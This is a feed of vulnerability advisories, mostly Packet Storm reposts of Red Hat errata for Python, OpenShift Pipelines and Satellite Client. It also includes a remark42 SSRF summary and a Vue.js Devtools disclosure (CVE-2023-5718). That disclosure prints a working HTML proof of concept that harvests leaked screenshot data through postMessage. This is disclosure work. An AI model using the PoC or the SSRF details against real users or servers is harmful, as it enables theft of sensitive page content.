Red Hat Security Advisory 2023-6069-01 - An update for the python39:3.9 and python39-devel:3.9 modules is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions. Issues addressed include a bypass vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6069.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: python39:3.9 and python39-devel:3.9 security updateAdvisory ID:        RHSA-2023:6069-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:6069Issue date:         2023-10-24Revision:           01CVE Names:          CVE-2023-40217====================================================================Summary: An update for the python39:3.9 and python39-devel:3.9 modules is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.Security Fix(es):* python: TLS handshake bypass (CVE-2023-40217)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-40217References:https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-6069-01

Red Hat Security Advisory 2023-6068-01 - An update for the python39:3.9 and python39-devel:3.9 modules is now available for Red Hat Enterprise Linux 8.6 Extended Update Support. Issues addressed include a bypass vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6068.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: python39:3.9 and python39-devel:3.9 security updateAdvisory ID:        RHSA-2023:6068-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:6068Issue date:         2023-10-24Revision:           01CVE Names:          CVE-2023-40217====================================================================Summary: An update for the python39:3.9 and python39-devel:3.9 modules is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.Security Fix(es):* python: TLS handshake bypass (CVE-2023-40217)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-40217References:https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-6068-01

Red Hat Security Advisory 2023-6061-01 - Red Hat OpenShift Pipelines 1.12.1 has been released. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6061.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Red Hat OpenShift Pipelines 1.12.1 release and security update  
Advisory ID:        RHSA-2023:6061-01  
Product:            Red Hat OpenShift Pipelines  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6061  
Issue date:         2023-10-23  
Revision:           01  
CVE Names:          CVE-2023-39325  
====================================================================

Summary: 

Red Hat OpenShift Pipelines 1.12.1 has been released.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Pipelines is a cloud-native continuous integration and delivery (CI/CD) solution for building pipelines using Tekton. Tekton is a flexible, Kubernetes-native, open-source CI/CD framework which enables automating deployments across multiple platforms such as Kubernetes, Serverless, and VMs by abstracting away the underlying details.

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (Rapid Reset Attack) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

A Red Hat Security Bulletin which addresses further details about the Rapid Reset flaw is available in the References section.

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Red Hat OpenShift Pipelines consists of:

- Tekton Pipelines 0.50.x  
- Tekton Triggers 0.25.x  
- ClusterTasks based on Tekton Catalog  
- Tekton tkn CLI 0.32.x  
- Tekton Operator 0.68.x  
- Tekton Chains 0.17.x (GA)  
- Tekton Hub 1.14.x (TP)  
- Tekton Result 0.8.x (TP)  
- Pipelines-as-Code 0.21.x (GA)

For more information, see the Release Notes on any one of the following platforms:

- Customer Portal: https://access.redhat.com/documentation/en-us/openshift_container_platform/4.13/html/cicd/pipelines#op-release-notes-1-12_op-release-notes

- OpenShift documentation: https://docs.openshift.com/container-platform/4.13/cicd/pipelines/op-release-notes.html#op-release-notes-1-12_op-release-notes

Solution:

https://docs.openshift.com/container-platform/4.10/operators/admin/olm-upgrading-operators.html#olm-approving-pending-up[…]e_olm-upgrading-operators

CVEs:

CVE-2023-39325

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003  
https://docs.openshift.com/pipelines/1.12/about/understanding-openshift-pipelines.html

Red Hat Security Advisory 2023-6061-01

Red Hat Security Advisory 2023-6059-01 - Red Hat OpenShift Pipelines Client tkn for 1.12.1 has been released. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6059.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat OpenShift Pipelines Client tkn for 1.12.1 release and security updateAdvisory ID:        RHSA-2023:6059-01Product:            Red Hat OpenShift PipelinesAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:6059Issue date:         2023-10-23Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: Red Hat OpenShift Pipelines Client tkn for 1.12.1 has been released.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat OpenShift Pipelines Client, tkn for the 1.12.1 release, provides a CLI  tool to interact with the Pipelines and Triggers components provided by Red Hat OpenShift Pipelines 1.12.1The tkn CLI tool is delivered as an RPM package for installation on RHEL platforms, and as binaries for non-Linux platforms.Security Fix(es):* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (Rapid Reset Attack) (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about the Rapid Reset flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003https://docs.openshift.com/container-platform/4.13/cli_reference/tkn_cli/installing-tkn.html

Red Hat Security Advisory 2023-6059-01

Red Hat Security Advisory 2023-6057-01 - An update for toolbox is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6057.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Critical: toolbox security updateAdvisory ID:        RHSA-2023:6057-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:6057Issue date:         2023-10-23Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for toolbox is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Toolbox is a tool for Linux operating systems, which allows the use of containerized command line environments. It is built on top of Podman and other standard container technologies from OCI.Security Fix(es):* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#criticalhttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-6057-01

Red Hat Security Advisory 2023-6048-01 - Updated images are now available for Red Hat Advanced Cluster Security. The updated image includes new features and bug fixes. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6048.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: ACS 4.2 enhancement and security update  
Advisory ID:        RHSA-2023:6048-01  
Product:            Red Hat Advanced Cluster Security for Kubernetes  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6048  
Issue date:         2023-10-23  
Revision:           01  
CVE Names:          CVE-2023-39325  
====================================================================

Summary: 

Updated images are now available for Red Hat Advanced Cluster Security. The updated image includes new features and bug fixes.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

This release of RHACS 4.2.2 includes fixes for the following security  
vulnerabilities:

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

It contains the following bug fixes and changes:

* Previously, Red Hat OpenShift Container Platform customers using the downloaded manifest bundle with automatic upgrades enabled found that Sensor did not automatically upgrade, and failed with a `PRE_FLIGHT_CHECKS_FAILED` error. This issue has been fixed. (ROX-19955)

* RHACS 4.2.2 includes a new default policy called \"Rapid Reset: Denial of  
Service Vulnerability in HTTP/2 Protocol\". This policy alerts on  
deployments with images containing components that are susceptible to a  
Denial of Service (DoS) vulnerability for HTTP/2 servers, based on  
CVE-2023-44487 and CVE-2023-39325. This policy applies to the build or  
deploy life cycle stage.

Solution:

CVEs:

CVE-2023-39325

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/documentation/en-us/red_hat_advanced_cluster_security_for_kubernetes/4.2/html/release_notes/release-notes-42  
https://access.redhat.com/security/cve/CVE-2023-39325  
https://access.redhat.com/security/cve/CVE-2023-44487  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-6048-01

umputun remark42 version 1.12.1 and before has a Blind Server-Side Request Forgery (SSRF) vulnerability.

**CVE-2023-45966****Blind SSRF in umputun/remark42 <= 1.12.1 \[Suggested description\] An issue was found in umputun/remark42 <= 1.12.1. Malicious JSON in POST request to /api/v1/comment?site=<SITE\_ID> leads to Blind SSRF due to missing title field and insufficient filtering of url field in comment creation request.****\[Additional Information\] Fixed in commit: efceed6****\[VulnerabilityType Other\] CWE-918: Server Side Request Forgery****\[Vendor of Product\] https://github.com/umputun****\[Affected Product Code Base\] Affected version: umputun/remark42 <= 1.12.1****\[Affected Component\] /api/v1/comment****\[Attack Type\] Remote****\[Impact Code execution\] false****\[Impact Denial of Service\] false****\[Impact Escalation of Privileges\] false****\[Impact Information Disclosure\] true****\[Attack Vectors\] An attacker able to send crafted JSON****\[Discoverer\] Dmitry Kuramin (Jet Infosystems, jet.su)**

\[Reference\] https://jet.su/vuln

CVE-2023-45966: GitHub - jet-pentest/CVE-2023-45966: Blind SSRF in umputun/remark42 <= 1.12.1

IBM Security Verify Governance 10.0 does not encrypt sensitive or critical information before storage or transmission.  IBM X-Force ID:  256020.

CVE-2023-33837: Security Bulletin: IBM Security Verify Governance is affected by multiple vulnerabilities

The Vue.js Devtools extension was found to leak screenshot data back to a malicious web page via the standard `postMessage()` API. By creating a malicious web page with an iFrame targeting a sensitive resource (i.e. a locally accessible file or sensitive website), and registering a listener on the web page, the extension sent messages back to the listener, containing the base64 encoded screenshot data of the sensitive resource.

**Disclosure Status**

I have disclosed this to the maintainer, who issued a fix (by disabling the screenshot functionality by default) in version 6.5.1

**Commits**

https://github.com/vuejs/devtools/releases/tag/v6.5.1

https://github.com/vuejs/devtools/commit/3444bdd8

**Technical Details:**

The Vue.js Devtools extension was found to leak screenshot data back to a malicious web page via the standard postMessage() API. By creating a malicious web page with an iFrame targeting a sensitive resource (i.e. a locally accessible file or sensitive website), and registering a listener on the web page, the extension sent messages back to the listener, containing the base64 encoded screenshot data of the sensitive resource.

Some user interaction was required, as the messages containing screenshot data were only sent when the victim hovered over the timeline bars in the timeline tab (see below)

Some mitigations exist in terms of the website that can be targeted by the malicious web page, as the target site must allow being embedded within iFrames (i.e. the X-Frame-Options HTTP response header must not be present or must explicitly allow the target site). However, it was found that other tabs with the Vue.js devtools extension active also leaked screenshot data back to the malicious web page, increasing the chance of sensitive information disclosure.

The code below shows how the extension uses a wildcard in the postMessage() function call (\*) to send the messages back to the web page listeners, which is why screenshot data from separate tabs can be leaked.

const bridge \= new Bridge({
  listen (fn) {
    window.addEventListener('message', evt \=> fn(evt.data))
  },
  send (data) {
    if (process.env.NODE\_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '\*')
  },
})

**PoC**

In the proof-of-concept Vue.js application below, the standard window.addEventListener(‘message’ <listener>) API is used to register a listener on the malicious web page. The setInterval() function is used to regularly simulate clicks on the PoC page, as these (mouse, keyboard etc) events are what trigger the page capture APIs to generate screenshot data. The handleScreenshot() function checks each incoming message for the expected parameters and converts the incoming base64 encoded screenshot data into an image, which is embedded into the PoC page. In reality, the base64 data would probably be silently exfiltrated to a malicious backend server.

<!DOCTYPE html\>
<html lang\="en"\>
<head\>
    <meta charset\="UTF-8"\>
    <title\>postMessage() PoC</title\>
    <script src\="https://unpkg.com/vue@3/dist/vue.global.js"\></script\>
</head\>
<body\>
    <div id\="app"\>
        <iframe src\="https://www.wikipedia.org" style\="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"\></iframe\>
    </div\>
    <script\>
        const { createApp, ref } \= Vue

        createApp({
            setup() {
                const message \= ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script\>

    <script\>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) \=> {
                console.log(\`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}\`);
                handleScreenshot(msg.data);
            });
            console.log(\`Added message listener (window.addEventListener)..\`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length \> 0) {
                data.payload.forEach((event) \=> {
                    if (event.event \=== 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(\`Got screenshot with id: ${event.payload.screenshot.id}\`);
                        let img \= new Image();
                        img.src \= event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script\>
</body\>
</html\>

CVE-2023-5718: Vuejs Dev Tools v6.5.0 Sensitive Information Leaked to Malicious Web Page

Red Hat Security Advisory 2023-5982-01 - An update for foreman_ygg_worker, puppet-agent, qpid-proton, and yggdrasil is now available for Satellite Client 6 for RHEL 6, Satellite Client 6 for RHEL 7, Satellite Client 6 for RHEL 8, and Satellite Client 6 for RHEL 9. Issues addressed include code execution and denial of service vulnerabilities.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5982.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat Satellite Client security and bug fix updateAdvisory ID:        RHSA-2023:5982-01Product:            Red Hat Satellite ClientAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5982Issue date:         2023-10-20Revision:           01CVE Names:          CVE-2022-1292====================================================================Summary: An update for foreman_ygg_worker, puppet-agent, qpid-proton, and yggdrasil is now available for Satellite Client 6 for RHEL 6, Satellite Client 6 for RHEL 7, Satellite Client 6 for RHEL 8, and Satellite Client 6 for RHEL 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Security Fix(es):* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)* openssl: c_rehash script allows command injection (CVE-2022-1292)* openssl: the c_rehash script allows command injection (CVE-2022-2068)* golang: net/http: excessive memory growth in a Go server accepting HTTP/2 requests (CVE-2022-41717)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* Katello Agent / Goferd Service CLOSE_WAIT Connections on RHEL8 Clients (BZ#2184996)* Not possible to configure the temporary directory to be used on clients by remote execution in pull mode (BZ#2217079)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2022-1292References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/documentation/en-us/red_hat_satellite/6.13/html/upgrading_and_updating_red_hat_satellite/indexhttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Tag

#js